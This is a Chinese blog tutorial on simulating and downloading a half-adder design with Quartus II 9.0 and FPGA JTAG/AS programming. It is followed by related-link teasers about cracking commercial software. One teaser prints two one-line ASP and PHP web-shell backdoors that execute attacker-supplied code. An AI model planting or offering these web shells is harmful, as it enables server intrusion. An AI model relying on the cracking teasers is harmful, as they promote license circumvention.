初识QuartusII 9.0(破解,半加器的仿真,综合:下)
完成波形的随机设置(A,B任意给定高低电平即可,只是当作测试信号),选择任务栏Assignments【Setings】,设置Simulation mode为functional,其余保持不变点击ok。点击
进行编译,点击
进行功能仿真,波形如下所示。


选择波形,查看Task栏目里RTL级,点击可以生成基于该波形的电路结构,通过查看该电路,验证verilog程序是否满足要求,若不满足,在打开.v文件修改保存再进行一系列的仿真,而不需要重新建立工程。若满足,选择任务栏Assignments【Setings】,设置Simulation mode为Timing。
点击编译
按钮,进行综合优化。编译结果如下:

选择任务栏Processing【Generate Functional Simulation Netlist】,进行适配完成布局布线功能,通过 Netlist Writer 生成的标准网表文件(.vo) 以及标准延时(.sdo)文件,用于对设计进行时序仿真(后仿真) ,之后simulate波形,可以看出输入与输出的信号都存在一个延迟。
建立工程和设计之后, 可以使用 Quartus II 软件 Assignment 菜单中的 Settings 对话框、
Assignment Editor 、Pin Planner、Design Partitions 窗口和 Timing Closure 布局图指定初始设计约束条件,例如,引脚分配、器件选项、逻辑选项和时序约束条件。约束将对后序的综合
与适配过程产生控制与影响。点击Pin Planner
,按照手册分配引脚

下载调试:对设计进行验证后, 即可对目标器件进行编程和配置, 下载设计文件到硬件中进行硬件验证。QuartusⅡ编程器 Programmer 最常用的编程模式是 JTAG 模式和主动串行编程模式 AS。JTAG模式主要用在调试阶段, 主动串行编程模式用于板级调试无误后将用户程序固化在串行配置芯片 EPCS 中。JPAG方式下载:选择 QuartusⅡ主窗口的 Tools 菜单下的 Programmer 命令,在该对话框点击 Hardware Setup,进入 Hardware Setup 对话框,在此添加硬件设备;配置完成后,选择下载模式为JPAG模式。点击下图的start图标进行验证。

之后进行AS方式下载,步骤大致相同,只需要把mode改为 Active Serial Program,下载完成后程序固化在 EPCS 中,开发板上电后 EPCS 将自动完成对目标芯片的配置,无须再从计算机上下载程序。

Tips:AS模式(active serial configuration mode):FPGA器件每次上电时,作为控制器从配置器件EPCS主动发出读取数据信号,从而把EPCS的数据读入FPGA中,实现对FPGA的编程。
JTAG是直接烧到FPGA里面的 由于是SRAM 断电后要重烧,AS是烧到FPGA的配置芯片里保存的 每次上电就写到FPGA里
在下载配置的时候对于cycloneII的器件,如ep2c8,在JTAG下载方式对应.sof,AS下载方式对应 .pof.
插线顺序
1. 关闭FPGA开发板的电源;
2. 将JTAG仿真器的JTAG线缆连接至FPGA开发板的JTAG接口;
3. 在仿真器的USB接口上插入USB线缆(假设USB线缆的另一段已经插在电脑上);
4. 打开FPGA开发板的电源。
步骤2和3的最好不要调换,因为虽然FPGA开发板没有供电,但是USB供电的JTAG仿真器也会产生一定的电压,作用于FPGA开发板的VCC和GND上,所以千万要注意此顺序。
拔线顺序
1. 关闭FPGA开发板的电源;
2. 拔下JTAG仿真器的USB接口上的USB线缆;
3. 去除JTAG线缆与FPGA开发板的连接;
初识QuartusII 9.0(破解,半加器的仿真,综合:下)的更多相关文章
- 初识QuartusII 9.0(破解,半加器的仿真,综合:上)
由于在意大利期间,用的xilinx公司的ZYBO板子,相应的软件用ISE,SDK.回国买了altera公司的板子,自然也要学习国内较流行的软件(TB大西瓜家,因此相关例程也是大部分引用他家).Quar ...
- QuartusII 13.0的完美破解
网络上破解QuartusII 13.0软件的方法都不行,最后经过本人总结测试(独创),最终实现了QuartusII 13.0的破解,破解方法如下: 网上常规操作之后,会得到一个“license.dat ...
- 【转】Parallels Desktop 11.2.0 破解版 最佳Mac虚拟机软件
原文网址:http://www.macappstore.net/parallels-desktop-11-pojie-ban/ Parallels Desktop 11.2.0 破解版 最佳Mac虚拟 ...
- JetBrains IntelliJ IDEA for Mac 15.0 破解版 – Mac 上强大的 Java 集成开发工具
应网友要求更新. IntelliJ IDEA 是最强大的 Java IDE 之一,由知名的Jetbrainsg公司出品,最新版本增加了大量强大易用的特性,比如 Java 8 的Lambda 表达式调试 ...
- X-pack 6.4.0 破解
X-package 6.4.0 破解 获取x-pack-core-6.4.0.jar 下载 elasticsearch下载页面:https://www.elastic.co/downloads/ela ...
- [转]三步完成Source Insight 4.0 破解安装
下载地址有更新,之前有朋友因潜在的版权问题封禁没下到,现在更新后可正常使用了. 文末有完全清除上次安装残留的方法,需要的人可以参考. —— 更新于 2018.1.21 第一步:安装 安装sour ...
- Source Insight 4.0 破解和使用
参考出处: https://blog.csdn.net/u011604775/article/details/81698062 https://blog.csdn.net/user11223344ab ...
- MyEclipse 2016 Stable 1.0破解教程
一.下载所需文件 1. Windows最新版: MyEclipse 2016 Stable 1.0离线安装包(文件大小:1.52GB)--完整安装包,无需在线下载http://pan.baidu.co ...
- StarUML 3.0 破解方法
首先在我这里下载 StarUML3.0 破解替换文件app.asar 链接:https://pan.baidu.com/s/1wDMKDQkKrE9D1c0YeXz0xg 密码:y65m 然后参照下 ...
随机推荐
- xxx商城之架构和功能简述
XXX商城项目简介 XXX商城项目是一套做特卖的电商系统,包括前台商城系统(App.微信版.小程序版.H5版)及后台管理系统,基于SpringBoot+SpringDataJpa+S ...
- 【洛谷 P2051】 [AHOI2009]中国象棋(DP)
题目链接 首先想到状压dp,但是\(n,m\)高达100,怎么压? 容易发现,每行每列最多两个象棋,否则就直接gg了. 一个巧妙的设置状态的方式是,只需要记录到当前行有多少列是放了1个炮和2个炮. 然 ...
- 微信小程序组件通信入门及组件生命周期函数
组件生命周期函数链接地址:https://developers.weixin.qq.com/miniprogram/dev/framework/custom-component/lifetimes.h ...
- 在编译内核的最后阶段出现sdhci_esdhc_imx_pdata未定义的错误
遇到下面这种错误 在网上查找资料后,发现一篇好文,提出了良好的找错误的策略: (1)利用grep命令查看该变量在何处使用: (2)查看相应的头文件是否在Kconfig中被定义且在make menuco ...
- Python 源码剖析 目录
Python 源码剖析 作者: 陈儒 阅读者:春生 版本:python2.5 版本 本博客园的博客记录我会适当改成Python3版本 阅读 Python 源码剖析 对读者知识储备 1.C语言基础知识, ...
- Python基础Day1—上
一.计算机基础 CPU:中央处理器,相当于人的大脑:运算中心与控制中心的结合. 内存:临时存储数据,与CPU交互. 硬盘:永久存储数据. 内存的优点:读取速度快 内存的缺点:容量小,造价高,断电数据会 ...
- /sys 和 /dev 区别
参考:What's the “/sys” directory for? Directory - /sys in linux 前言 各种Linux发行版下面似乎都有/sys目录,tree查看下面内容,会 ...
- keekalived+nginx 高可用
高可用环境准备 后端服务器主配置文件 [192.168.2.7-root@web01~]#cat /etc/nginx/nginx.conf user www; worker_processes 1; ...
- 2. premiere 项目管理
1.premiere 项目管理 可以对项目素材进行一个管理,方便我们对项目文件的编辑 1.序列选择,管理前更改好名称 2.管理保留原始素材,不要选择转码 3.通过浏览,选择存储路径 点击“计算”,显示 ...
- 简单的一句话木马(asp aspx php)
一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...